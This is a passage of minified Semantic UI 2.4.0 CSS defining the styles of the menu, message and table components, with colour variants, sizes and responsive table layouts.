.item{width:100%;padding-left:0!important;padding-right:0!important;margin-left:0!important;margin-right:0!important;text-align:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.ui.attached.item.menu{margin:0 -1px!important}.ui.item.menu .item:last-child:before{display:none}.ui.menu.two.item .item{width:50%}.ui.menu.three.item .item{width:33.333%}.ui.menu.four.item .item{width:25%}.ui.menu.five.item .item{width:20%}.ui.menu.six.item .item{width:16.666%}.ui.menu.seven.item .item{width:14.285%}.ui.menu.eight.item .item{width:12.5%}.ui.menu.nine.item .item{width:11.11%}.ui.menu.ten.item .item{width:10%}.ui.menu.eleven.item .item{width:9.09%}.ui.menu.twelve.item .item{width:8.333%}.ui.menu.fixed{position:fixed;z-index:101;margin:0;width:100%}.ui.menu.fixed,.ui.menu.fixed .item:first-child,.ui.menu.fixed .item:last-child{border-radius:0!important}.ui.fixed.menu,.ui[class*="top fixed"].menu{top:0;left:0;right:auto;bottom:auto}.ui[class*="top fixed"].menu{border-top:none;border-left:none;border-right:none}.ui[class*="right fixed"].menu{border-top:none;border-bottom:none;border-right:none;top:0;right:0;left:auto;bottom:auto;width:auto;height:100%}.ui[class*="bottom fixed"].menu{border-bottom:none;border-left:none;border-right:none;bottom:0;left:0;top:auto;right:auto}.ui[class*="left fixed"].menu{border-top:none;border-bottom:none;border-left:none;top:0;left:0;right:auto;bottom:auto;width:auto;height:100%}.ui.fixed.menu+.ui.grid{padding-top:2.75rem}.ui.pointing.menu .item:after{visibility:hidden;position:absolute;content:'';top:100%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);background:0 0;margin:.5px 0 0;width:.57142857em;height:.57142857em;border:none;border-bottom:1px solid #d4d4d5;border-right:1px solid #d4d4d5;z-index:2;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.vertical.pointing.menu .item:after{position:absolute;top:50%;right:0;bottom:auto;left:auto;-webkit-transform:translateX(50%) translateY(-50%) rotate(45deg);transform:translateX(50%) translateY(-50%) rotate(45deg);margin:0 -.5px 0 0;border:none;border-top:1px solid #d4d4d5;border-right:1px solid #d4d4d5}.ui.pointing.menu .active.item:after{visibility:visible}.ui.pointing.menu .active.dropdown.item:after{visibility:hidden}.ui.pointing.menu .active.item .menu .active.item:after,.ui.pointing.menu .dropdown.active.item:after{display:none}.ui.pointing.menu .active.item:hover:after{background-color:#f2f2f2}.ui.pointing.menu .active.item:after{background-color:#f2f2f2}.ui.pointing.menu .active.item:hover:after{background-color:#f2f2f2}.ui.vertical.pointing.menu .active.item:hover:after{background-color:#f2f2f2}.ui.vertical.pointing.menu .active.item:after{background-color:#f2f2f2}.ui.vertical.pointing.menu .menu .active.item:after{background-color:#fff}.ui.attached.menu{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);-webkit-box-shadow:none;box-shadow:none}.ui.attached+.ui.attached.menu:not(.top){border-top:none}.ui[class*="top attached"].menu{bottom:0;margin-bottom:0;top:0;margin-top:1rem;border-radius:.28571429rem .28571429rem 0 0}.ui.menu[class*="top attached"]:first-child{margin-top:0}.ui[class*="bottom attached"].menu{bottom:0;margin-top:0;top:0;margin-bottom:1rem;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].menu:last-child{margin-bottom:0}.ui.top.attached.menu>.item:first-child{border-radius:.28571429rem 0 0 0}.ui.bottom.attached.menu>.item:first-child{border-radius:0 0 0 .28571429rem}.ui.attached.menu:not(.tabular){border:1px solid #d4d4d5}.ui.attached.inverted.menu{border:none}.ui.attached.tabular.menu{margin-left:0;margin-right:0;width:100%}.ui.mini.menu{font-size:.78571429rem}.ui.mini.vertical.menu{width:9rem}.ui.tiny.menu{font-size:.85714286rem}.ui.tiny.vertical.menu{width:11rem}.ui.small.menu{font-size:.92857143rem}.ui.small.vertical.menu{width:13rem}.ui.menu{font-size:1rem}.ui.vertical.menu{width:15rem}.ui.large.menu{font-size:1.07142857rem}.ui.large.vertical.menu{width:18rem}.ui.huge.menu{font-size:1.21428571rem}.ui.huge.vertical.menu{width:22rem}.ui.big.menu{font-size:1.14285714rem}.ui.big.vertical.menu{width:20rem}.ui.massive.menu{font-size:1.28571429rem}.ui.massive.vertical.menu{width:25rem}/*! + * # Semantic UI 2.4.0 - Message + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.message{position:relative;min-height:1em;margin:1em 0;background:#f8f8f9;padding:1em 1.5em;line-height:1.4285em;color:rgba(0,0,0,.87);-webkit-transition:opacity .1s ease,color .1s ease,background .1s ease,-webkit-box-shadow .1s ease;transition:opacity .1s ease,color .1s ease,background .1s ease,-webkit-box-shadow .1s ease;transition:opacity .1s ease,color .1s ease,background .1s ease,box-shadow .1s ease;transition:opacity .1s ease,color .1s ease,background .1s ease,box-shadow .1s ease,-webkit-box-shadow .1s ease;border-radius:.28571429rem;-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.22) inset,0 0 0 0 transparent;box-shadow:0 0 0 1px rgba(34,36,38,.22) inset,0 0 0 0 transparent}.ui.message:first-child{margin-top:0}.ui.message:last-child{margin-bottom:0}.ui.message .header{display:block;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;margin:-.14285714em 0 0 0}.ui.message .header:not(.ui){font-size:1.14285714em}.ui.message p{opacity:.85;margin:.75em 0}.ui.message p:first-child{margin-top:0}.ui.message p:last-child{margin-bottom:0}.ui.message .header+p{margin-top:.25em}.ui.message .list:not(.ui){text-align:left;padding:0;opacity:.85;list-style-position:inside;margin:.5em 0 0}.ui.message .list:not(.ui):first-child{margin-top:0}.ui.message .list:not(.ui):last-child{margin-bottom:0}.ui.message .list:not(.ui) li{position:relative;list-style-type:none;margin:0 0 .3em 1em;padding:0}.ui.message .list:not(.ui) li:before{position:absolute;content:'•';left:-1em;height:100%;vertical-align:baseline}.ui.message .list:not(.ui) li:last-child{margin-bottom:0}.ui.message>.icon{margin-right:.6em}.ui.message>.close.icon{cursor:pointer;position:absolute;margin:0;top:.78575em;right:.5em;opacity:.7;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.message>.close.icon:hover{opacity:1}.ui.message>:first-child{margin-top:0}.ui.message>:last-child{margin-bottom:0}.ui.dropdown .menu>.message{margin:0 -1px}.ui.visible.visible.visible.visible.message{display:block}.ui.icon.visible.visible.visible.visible.message{display:-webkit-box;display:-ms-flexbox;display:flex}.ui.hidden.hidden.hidden.hidden.message{display:none}.ui.compact.message{display:inline-block}.ui.compact.icon.message{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex}.ui.attached.message{margin-bottom:-1px;border-radius:.28571429rem .28571429rem 0 0;-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset;margin-left:-1px;margin-right:-1px}.ui.attached+.ui.attached.message:not(.top):not(.bottom){margin-top:-1px;border-radius:0}.ui.bottom.attached.message{margin-top:-1px;border-radius:0 0 .28571429rem .28571429rem;-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.15) inset,0 1px 2px 0 rgba(34,36,38,.15);box-shadow:0 0 0 1px rgba(34,36,38,.15) inset,0 1px 2px 0 rgba(34,36,38,.15)}.ui.bottom.attached.message:not(:last-child){margin-bottom:1em}.ui.attached.icon.message{width:auto}.ui.icon.message{display:-webkit-box;display:-ms-flexbox;display:flex;width:100%;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.icon.message>.icon:not(.close){display:block;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;line-height:1;vertical-align:middle;font-size:3em;opacity:.8}.ui.icon.message>.content{display:block;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;vertical-align:middle}.ui.icon.message .icon:not(.close)+.content{padding-left:0}.ui.icon.message .circular.icon{width:1em}.ui.floating.message{-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.22) inset,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);box-shadow:0 0 0 1px rgba(34,36,38,.22) inset,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.black.message{background-color:#1b1c1d;color:rgba(255,255,255,.9)}.ui.positive.message{background-color:#fcfff5;color:#2c662d}.ui.attached.positive.message,.ui.positive.message{-webkit-box-shadow:0 0 0 1px #a3c293 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #a3c293 inset,0 0 0 0 transparent}.ui.positive.message .header{color:#1a531b}.ui.negative.message{background-color:#fff6f6;color:#9f3a38}.ui.attached.negative.message,.ui.negative.message{-webkit-box-shadow:0 0 0 1px #e0b4b4 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #e0b4b4 inset,0 0 0 0 transparent}.ui.negative.message .header{color:#912d2b}.ui.info.message{background-color:#f8ffff;color:#276f86}.ui.attached.info.message,.ui.info.message{-webkit-box-shadow:0 0 0 1px #a9d5de inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #a9d5de inset,0 0 0 0 transparent}.ui.info.message .header{color:#0e566c}.ui.warning.message{background-color:#fffaf3;color:#573a08}.ui.attached.warning.message,.ui.warning.message{-webkit-box-shadow:0 0 0 1px #c9ba9b inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #c9ba9b inset,0 0 0 0 transparent}.ui.warning.message .header{color:#794b02}.ui.error.message{background-color:#fff6f6;color:#9f3a38}.ui.attached.error.message,.ui.error.message{-webkit-box-shadow:0 0 0 1px #e0b4b4 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #e0b4b4 inset,0 0 0 0 transparent}.ui.error.message .header{color:#912d2b}.ui.success.message{background-color:#fcfff5;color:#2c662d}.ui.attached.success.message,.ui.success.message{-webkit-box-shadow:0 0 0 1px #a3c293 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #a3c293 inset,0 0 0 0 transparent}.ui.success.message .header{color:#1a531b}.ui.black.message,.ui.inverted.message{background-color:#1b1c1d;color:rgba(255,255,255,.9)}.ui.red.message{background-color:#ffe8e6;color:#db2828;-webkit-box-shadow:0 0 0 1px #db2828 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #db2828 inset,0 0 0 0 transparent}.ui.red.message .header{color:#c82121}.ui.orange.message{background-color:#ffedde;color:#f2711c;-webkit-box-shadow:0 0 0 1px #f2711c inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #f2711c inset,0 0 0 0 transparent}.ui.orange.message .header{color:#e7640d}.ui.yellow.message{background-color:#fff8db;color:#b58105;-webkit-box-shadow:0 0 0 1px #b58105 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #b58105 inset,0 0 0 0 transparent}.ui.yellow.message .header{color:#9c6f04}.ui.olive.message{background-color:#fbfdef;color:#8abc1e;-webkit-box-shadow:0 0 0 1px #8abc1e inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #8abc1e inset,0 0 0 0 transparent}.ui.olive.message .header{color:#7aa61a}.ui.green.message{background-color:#e5f9e7;color:#1ebc30;-webkit-box-shadow:0 0 0 1px #1ebc30 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #1ebc30 inset,0 0 0 0 transparent}.ui.green.message .header{color:#1aa62a}.ui.teal.message{background-color:#e1f7f7;color:#10a3a3;-webkit-box-shadow:0 0 0 1px #10a3a3 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #10a3a3 inset,0 0 0 0 transparent}.ui.teal.message .header{color:#0e8c8c}.ui.blue.message{background-color:#dff0ff;color:#2185d0;-webkit-box-shadow:0 0 0 1px #2185d0 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #2185d0 inset,0 0 0 0 transparent}.ui.blue.message .header{color:#1e77ba}.ui.violet.message{background-color:#eae7ff;color:#6435c9;-webkit-box-shadow:0 0 0 1px #6435c9 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #6435c9 inset,0 0 0 0 transparent}.ui.violet.message .header{color:#5a30b5}.ui.purple.message{background-color:#f6e7ff;color:#a333c8;-webkit-box-shadow:0 0 0 1px #a333c8 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #a333c8 inset,0 0 0 0 transparent}.ui.purple.message .header{color:#922eb4}.ui.pink.message{background-color:#ffe3fb;color:#e03997;-webkit-box-shadow:0 0 0 1px #e03997 inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #e03997 inset,0 0 0 0 transparent}.ui.pink.message .header{color:#dd238b}.ui.brown.message{background-color:#f1e2d3;color:#a5673f;-webkit-box-shadow:0 0 0 1px #a5673f inset,0 0 0 0 transparent;box-shadow:0 0 0 1px #a5673f inset,0 0 0 0 transparent}.ui.brown.message .header{color:#935b38}.ui.mini.message{font-size:.78571429em}.ui.tiny.message{font-size:.85714286em}.ui.small.message{font-size:.92857143em}.ui.message{font-size:1em}.ui.large.message{font-size:1.14285714em}.ui.big.message{font-size:1.28571429em}.ui.huge.message{font-size:1.42857143em}.ui.massive.message{font-size:1.71428571em}/*! + * # Semantic UI 2.4.0 - Table + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.table{width:100%;background:#fff;margin:1em 0;border:1px solid rgba(34,36,38,.15);-webkit-box-shadow:none;box-shadow:none;border-radius:.28571429rem;text-align:left;color:rgba(0,0,0,.87);border-collapse:separate;border-spacing:0}.ui.table:first-child{margin-top:0}.ui.table:last-child{margin-bottom:0}.ui.table td,.ui.table th{-webkit-transition:background .1s ease,color .1s ease;transition:background .1s ease,color .1s ease}.ui.table thead{-webkit-box-shadow:none;box-shadow:none}.ui.table thead th{cursor:auto;background:#f9fafb;text-align:inherit;color:rgba(0,0,0,.87);padding:.92857143em .78571429em;vertical-align:inherit;font-style:none;font-weight:700;text-transform:none;border-bottom:1px solid rgba(34,36,38,.1);border-left:none}.ui.table thead tr>th:first-child{border-left:none}.ui.table thead tr:first-child>th:first-child{border-radius:.28571429rem 0 0 0}.ui.table thead tr:first-child>th:last-child{border-radius:0 .28571429rem 0 0}.ui.table thead tr:first-child>th:only-child{border-radius:.28571429rem .28571429rem 0 0}.ui.table tfoot{-webkit-box-shadow:none;box-shadow:none}.ui.table tfoot th{cursor:auto;border-top:1px solid rgba(34,36,38,.15);background:#f9fafb;text-align:inherit;color:rgba(0,0,0,.87);padding:.78571429em .78571429em;vertical-align:middle;font-style:normal;font-weight:400;text-transform:none}.ui.table tfoot tr>th:first-child{border-left:none}.ui.table tfoot tr:first-child>th:first-child{border-radius:0 0 0 .28571429rem}.ui.table tfoot tr:first-child>th:last-child{border-radius:0 0 .28571429rem 0}.ui.table tfoot tr:first-child>th:only-child{border-radius:0 0 .28571429rem .28571429rem}.ui.table tr td{border-top:1px solid rgba(34,36,38,.1)}.ui.table tr:first-child td{border-top:none}.ui.table tbody+tbody tr:first-child td{border-top:1px solid rgba(34,36,38,.1)}.ui.table td{padding:.78571429em .78571429em;text-align:inherit}.ui.table>.icon{vertical-align:baseline}.ui.table>.icon:only-child{margin:0}.ui.table.segment{padding:0}.ui.table.segment:after{display:none}.ui.table.segment.stacked:after{display:block}@media only screen and (max-width:767px){.ui.table:not(.unstackable){width:100%}.ui.table:not(.unstackable) tbody,.ui.table:not(.unstackable) tr,.ui.table:not(.unstackable) tr>td,.ui.table:not(.unstackable) tr>th{width:auto!important;display:block!important}.ui.table:not(.unstackable){padding:0}.ui.table:not(.unstackable) thead{display:block}.ui.table:not(.unstackable) tfoot{display:block}.ui.table:not(.unstackable) tr{padding-top:1em;padding-bottom:1em;-webkit-box-shadow:0 -1px 0 0 rgba(0,0,0,.1) inset!important;box-shadow:0 -1px 0 0 rgba(0,0,0,.1) inset!important}.ui.table:not(.unstackable) tr>td,.ui.table:not(.unstackable) tr>th{background:0 0;border:none!important;padding:.25em .75em!important;-webkit-box-shadow:none!important;box-shadow:none!important}.ui.table:not(.unstackable) td:first-child,.ui.table:not(.unstackable) th:first-child{font-weight:700}.ui.definition.table:not(.unstackable) thead th:first-child{-webkit-box-shadow:none!important;box-shadow:none!important}}.ui.table td .image,.ui.table td .image img,.ui.table th .image,.ui.table th .image img{max-width:none}.ui.structured.table{border-collapse:collapse}.ui.structured.table thead th{border-left:none;border-right:none}.ui.structured.sortable.table thead th{border-left:1px solid rgba(34,36,38,.15);border-right:1px solid rgba(34,36,38,.15)}.ui.structured.basic.table th{border-left:none;border-right:none}.ui.structured.celled.table tr td,.ui.structured.celled.table tr th{border-left:1px solid rgba(34,36,38,.1);border-right:1px solid rgba(34,36,38,.1)}.ui.definition.table thead:not(.full-width) th:first-child{pointer-events:none;background:0 0;font-weight:400;color:rgba(0,0,0,.4);-webkit-box-shadow:-1px -1px 0 1px #fff;box-shadow:-1px -1px 0 1px #fff}.ui.definition.table tfoot:not(.full-width) th:first-child{pointer-events:none;background:0 0;font-weight:rgba(0,0,0,.4);color:normal;-webkit-box-shadow:1px 1px 0 1px #fff;box-shadow:1px 1px 0 1px #fff}.ui.celled.definition.table thead:not(.full-width) th:first-child{-webkit-box-shadow:0 -1px 0 1px #fff;box-shadow:0 -1px 0 1px #fff}.ui.celled.definition.table tfoot:not(.full-width) th:first-child{-webkit-box-shadow:0 1px 0 1px #fff;box-shadow:0 1px 0 1px #fff}.ui.definition.table tr td.definition,.ui.definition.table tr td:first-child:not(.ignored){background:rgba(0,0,0,.03);font-weight:700;color:rgba(0,0,0,.95);text-transform:'';-webkit-box-shadow:'';box-shadow:'';text-align:'';font-size:1em;padding-left:'';padding-right:''}.ui.definition.table thead:not(.full-width) th:nth-child(2){border-left:1px solid rgba(34,36,38,.15)}.ui.definition.table tfoot:not(.full-width) th:nth-child(2){border-left:1px solid rgba(34,36,38,.15)}.ui.definition.table td:nth-child(2){border-left:1px solid rgba(34,36,38,.15)}.ui.table td.positive,.ui.table tr.positive{-webkit-box-shadow:0 0 0 #a3c293 inset;box-shadow:0 0 0 #a3c293 inset}.ui.table td.positive,.ui.table tr.positive{background:#fcfff5!important;color:#2c662d!important}.ui.table td.negative,.ui.table tr.negative{-webkit-box-shadow:0 0 0 #e0b4b4 inset;box-shadow:0 0 0 #e0b4b4 inset}.ui.table td.negative,.ui.table tr.negative{background:#fff6f6!important;color:#9f3a38!important}.ui.table td.error,.ui.table tr.error{-webkit-box-shadow:0 0 0 #e0b4b4 inset;box-shadow:0 0 0 #e0b4b4 inset}.ui.table td.error,.ui.table tr.error{background:#fff6f6!important;color:#9f3a38!important}.ui.table td.warning,.ui.table tr.warning{-webkit-box-shadow:0 0 0 #c9ba9b inset;box-shadow:0 0 0 #c9ba9b inset}.ui.table td.warning,.ui.table tr.warning{background:#fffaf3!important;color:#573a08!important}.ui.table td.active,.ui.table tr.active{-webkit-box-shadow:0 0 0 rgba(0,0,0,.87) inset;box-shadow:0 0 0 rgba(0,0,0,.87) inset}.ui.table td.active,.ui.table tr.active{background:#e0e0e0!important;color:rgba(0,0,0,.87)!important}.ui.table tr td.disabled,.ui.table tr.disabled td,.ui.table tr.disabled:hover,.ui.table tr:hover td.disabled{pointer-events:none;color:rgba(40,40,40,.3)}@media only screen and (max-width:991px){.ui[class*="tablet stackable"].table,.ui[class*="tablet stackable"].table tbody,.ui[class*="tablet stackable"].table tr,.ui[class*="tablet stackable"].table tr>td,.ui[class*="tablet stackable"].table tr>th{width:100%!important;display:block!important}.ui[class*="tablet stackable"].table{padding:0}.ui[class*="tablet stackable"].table thead{display:block}.ui[class*="tablet stackable"].table tfoot{display:block}.ui[class*="tablet stackable"].table tr{padding-top:1em;padding-bottom:1em;-webkit-box-shadow:0 -1px 0 0 rgba(0,0,0,.1) inset!important;box-shadow:0 -1px 0 0 rgba(0,0,0,.1) inset!important}.ui[class*="tablet stackable"].table tr>td,.ui[class*="tablet stackable"].table tr>th{background:0 0;border:none!important;padding:.25em .75em;-webkit-box-shadow:none!important;box-shadow:none!important}.ui.definition[class*="tablet stackable"].table thead th:first-child{-webkit-box-shadow:none!important;box-shadow:none!important}}.ui.table [class*="left aligned"],.ui.table[class*="left aligned"]{text-align:left}.ui.table [class*="center aligned"],.ui.table[class*="center aligned"]{text-align:center}.ui.table [class*="right aligned"],.ui.table[class*="right aligned"]{text-align:right}.ui.table [class*="top aligned"],.ui.table[class*="top aligned"]{vertical-align:top}.ui.table [class*="middle aligned"],.ui.table[class*="middle aligned"]{vertical-align:middle}.ui.table [class*="bottom aligned"],.ui.table[class*="bottom aligned"]{vertical-align:bottom}.ui.table td.collapsing,.ui.table th.collapsing{width:1px;white-space:nowrap}.ui.fixed.table{table-layout:fixed}.ui.fixed.table td,.ui.fixed.table th{overflow:hidden;text-overflow:ellipsis}.ui.selectable.table tbody tr:hover,.ui.table tbody tr td.selectable:hover{background:rgba(0,0,0,.05)!important;color:rgba(0,0,0,.95)!important}.ui.inverted.table tbody tr td.selectable:hover,.ui.selectable.inverted.table tbody tr:hover{background:rgba(255,255,255,.08)!important;color:#fff!important}.ui.table tbody tr td.selectable{padding:0}.ui.table tbody tr td.selectable>a:not(.ui){display:block;color:inherit;padding:.78571429em .78571429em}.ui.selectable.table tr.error:hover,.ui.selectable.table tr:hover td.error,.ui.table tr td.selectable.error:hover{background:#ffe7e7!important;color:#943634!important}.ui.selectable.table tr.warning:hover,.ui.selectable.table tr:hover td.warning,.ui.table tr td.selectable.warning:hover{background:#fff4e4!important;color:#493107!important}.ui.selectable.table tr.active:hover,.ui.selectable.table tr:hover td.active,.ui.table tr td.selectable.active:hover{background:#e0e0e0!important;color:rgba(0,0,0,.87)!important}.ui.selectable.table tr.positive:hover,.ui.selectable.table tr:hover td.positive,.ui.table tr td.selectable.positive:hover{background:#f7ffe6!important;color:#275b28!important}.ui.selectable.table tr.negative:hover,.ui.selectable.table tr:hover td.negative,.ui.table tr td.selectable.negative:hover{background:#ffe7e7!important;color:#943634!important}.ui.attached.table{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);-webkit-box-shadow:none;box-shadow:none;border:1px solid #d4d4d5}.ui.attached+.ui.attached.table:not(.top){border-top:none}.ui[class*="top attached"].table{bottom:0;margin-bottom:0;top:0;margin-top:1em;border-radius:.28571429rem .28571429rem 0 0}.ui.table[class*="top attached"]:first-child{margin-top:0}.ui[class*="bottom attached"].table{bottom:0;margin-top:0;top:0;margin-bottom:1em;-webkit-box-shadow:none,none;box-shadow:none,none;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].table:last-child{margin-bottom:0}.ui.striped.table tbody tr:nth-child(2n),.ui.striped.table>tr:nth-child(2n){background-color:rgba(0,0,50,.02)}.ui.inverted.striped.table tbody tr:nth-child(2n),.ui.inverted.striped.table>tr:nth-child(2n){background-color:rgba(255,255,255,.05)}.ui.striped.selectable.selectable.selectable.table tbody tr.active:hover{background:#efefef!important;color:rgba(0,0,0,.95)!important}.ui.table [class*="single line"],.ui.table[class*="single line"]{white-space:nowrap}.ui.table [class*="single line"],.ui.table[class*="single line"]{white-space:nowrap}.ui.red.table{border-top:.2em solid #db2828}.ui.inverted.red.table{background-color:#db2828!important;color:#fff!important}.ui.orange.table{border-top:.2em solid #f2711c}.ui.inverted.orange.table{background-color:#f2711c!important;color:#fff!important}.ui.yellow.table{border-top:.2em solid #fbbd08}.ui.inverted.yellow.table{background-color:#fbbd08!important;color:#fff!important}.ui.olive.table{border-top:.2em solid #b5cc18}.ui.inverted.olive.table{background-color:#b5cc18!important;color:#fff!important}.ui.green.table{border-top:.2em solid #21ba45}.ui.inverted.green.table{background-color:#21ba45!important;color:#fff!important}.ui.teal.table{border-top:.2em solid #00b5ad}.ui.inverted.teal.table{background-color:#00b5ad!important;color:#fff!important}.ui.blue.table{border-top:.2em solid #2185d0}.ui.inverted.blue.table{background-color:#2185d0!important;color:#fff!important}.ui.violet.table{border-top:.2em solid #6435c9}.ui.inverted.violet.table{background-color:#6435c9!important;color:#fff!important}.ui.purple.table{border-top:.2em solid #a333c8}.ui.inverted.purple.table{background-color:#a333c8!important;color:#fff!important}.ui.pink.table{border-top:.2em solid #e03997}.ui.inverted.pink.table{background-color:#e03997!important;color:#fff!important}.ui.brown.table{border-top:.2em solid #a5673f}.ui.inverted.brown.table{background-color:#a5673f!important;color:#fff!important}.ui.grey.table{border-top:.2em solid #767676}.ui.inverted.grey.table{background-color:#767676!important;color:#fff!important}.ui.black.table{border-top:.2em solid #1b1c1d}.ui.inverted.black.table{background-color:#1b1c1d!important;color:#fff!important}.ui.one.column.table td{width:100%}.ui.two.column.table td{width:50%}.ui.three.column.table td{width:33.33333333%}.ui.four.column.table td{width:25%}.ui.five.column.table td{width:20%}.ui.six.column.table td{width:16.66666667%}.ui.seven.column.table td{width:14.28571429%}.ui.eight.column.table td{width:12.5%}.ui.nine.column.table td{width:11.11111111%}.ui.ten.column.table td{width:10%}.ui.eleven.column.table td{width:9.09090909%}.ui.twelve.column.table td{width:8.33333333%}.ui.thirteen.column.table td{width:7.69230769%}.ui.fourteen.column.table td{width:7.14285714%}.ui.fifteen.column.table td{width:6.66666667%}.ui.sixteen.column.table td{width:6.25%}.ui.table td.one.wide,.ui.table th.one.wide{width:6.25%}.ui.table td.two.wide,.ui.table th.two.wide{width:12.5%}.ui.table td.three.wide,.ui.table th.three.wide{width:18.75%}.ui.table td.four.wide,.ui.table th.four.wide{width:25%}.ui.table td.five.wide,.ui.table th.five.wide{width:31.25%}.ui.table td.six.wide,.ui.table th.six.wide{width:37.5%}.ui.table td.seven.wide,.ui.table th.seven.wide{width:43.75%}.ui.table td.eight.wide,.ui.table th.eight.wide{width:50%}.ui.table td.nine.wide,.ui.table th.nine.wide{width:56.25%}.ui.table td.ten.wide,.ui.table th.ten.wide{width:62.5%}.ui.table td.eleven.wide,.ui.table th.eleven.wide{width:68.75%}.ui.table td.twelve.wide,.ui.table th.twelve.wide{width:75%}.ui.table td.thirteen.wide,.ui.table th.thirteen.wide{width:81.25%}.ui.table td.fourteen.wide,.ui.table th.fourteen.wide{width:87.5%}.ui.table td.fifteen.wide,.ui.table th.fifteen.wide{width:93.75%}.ui.table td.sixteen.wide,.ui.table th.sixteen.wide{width:100%}.ui.sortable.table thead th{cursor:pointer;white-space:nowrap;border-left:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87)}.ui.sortable.table thead th:first-child{border-left:none}.ui.sortable.table thead th.sorted,.ui.sortable.table thead th.sorted:hover{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ui.sortable.table thead th:after{display:none;font-style:normal;font-weight:400;text-decoration:inherit;content:'';height:1em;width:auto;opacity:.8;margin:0 0 0 .5em;font-family:Icons}.ui.sortable.table thead th.ascending:after{content:'\f0d8'}.ui.sortable.table thead th.descending:after{content:'\f0d7'}.ui.sortable.table th.disabled:hover{cursor:auto;color:rgba(40,40,40,.3)}.ui.sortable.table thead th:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.8)}.ui.sortable.table thead th.sorted{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.sortable.table thead th.sorted:after{display:inline-block}.ui.sortable.table thead th.sorted:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.inverted.sortable.table thead th.sorted{background:rgba(255,255,255,.15) -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(0,0,0,.05)));background:rgba(255,255,255,.15) -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:rgba(255,255,255,.15) linear-gradient(transparent,rgba(0,0,0,.05));color:#fff}.ui.inverted.sortable.table thead th:hover{background:rgba(255,255,255,.08) -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(0,0,0,.05)));background:rgba(255,255,255,.08) -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:rgba(255,255,255,.08) linear-gradient(transparent,rgba(0,0,0,.05));color:#fff}.ui.inverted.sortable.table thead th{border-left-color:transparent;border-right-color:transparent}.ui.inverted.table{background:#333;color:rgba(255,255,255,.9);border:none}.ui.inverted.table th{background-color:rgba(0,0,0,.15);border-color:rgba(255,255,255,.1)!important;color:rgba(255,255,255,.9)!important}.ui.inverted.table tr td{border-color:rgba(255,255,255,.1)!important}.ui.inverted.table tr td.disabled,.ui.inverted.table tr.disabled td,.ui.inverted.table tr.disabled:hover td,.ui.inverted.table tr:hover td.disabled{pointer-events:none;color:rgba(225,225,225,.3)}.ui.inverted.definition.table tfoot:not(.full-width) th:first-child,.ui.inverted.definition.table thead:not(.full-width) th:first-child{background:#fff}.ui.inverted.definition.table tr td:first-child{background:rgba(255,255,255,.02);color:#fff}.ui.collapsing.table{width:auto}.ui.basic.table{background:0 0;border:1px solid rgba(34,36,38,.15);-webkit-box-shadow:none;box-shadow:none}.ui.basic.table tfoot,.ui.basic.table thead{-webkit-box-shadow:none;box-shadow:none}.ui.basic.table th{background:0 0;border-left:none}.ui.basic.table tbody tr{border-bottom:1px solid rgba(0,0,0,.1)}.ui.basic.table td{background:0 0}.ui.basic.striped.table tbody tr:nth-child(2n){background-color:rgba(0,0,0,.05)!important}.ui[class*="very basic"].table{border:none}.ui[class*="very basic"].table:not(.sortable):not(.striped) td,.ui[class*="very basic"].table:not(.sortable):not(.striped) th{padding:''}.ui[class*="very basic"].table:not(.sortable):not(.striped) td:first-child,.ui[class*="very basic"].table:not(.sortable):not(.striped) th:first-child{padding-left:0}.ui[class*="very basic"].table:not(.sortable):not(.striped) td:last-child,.ui[class*="very basic"].table:not(.sortable):not(.striped) 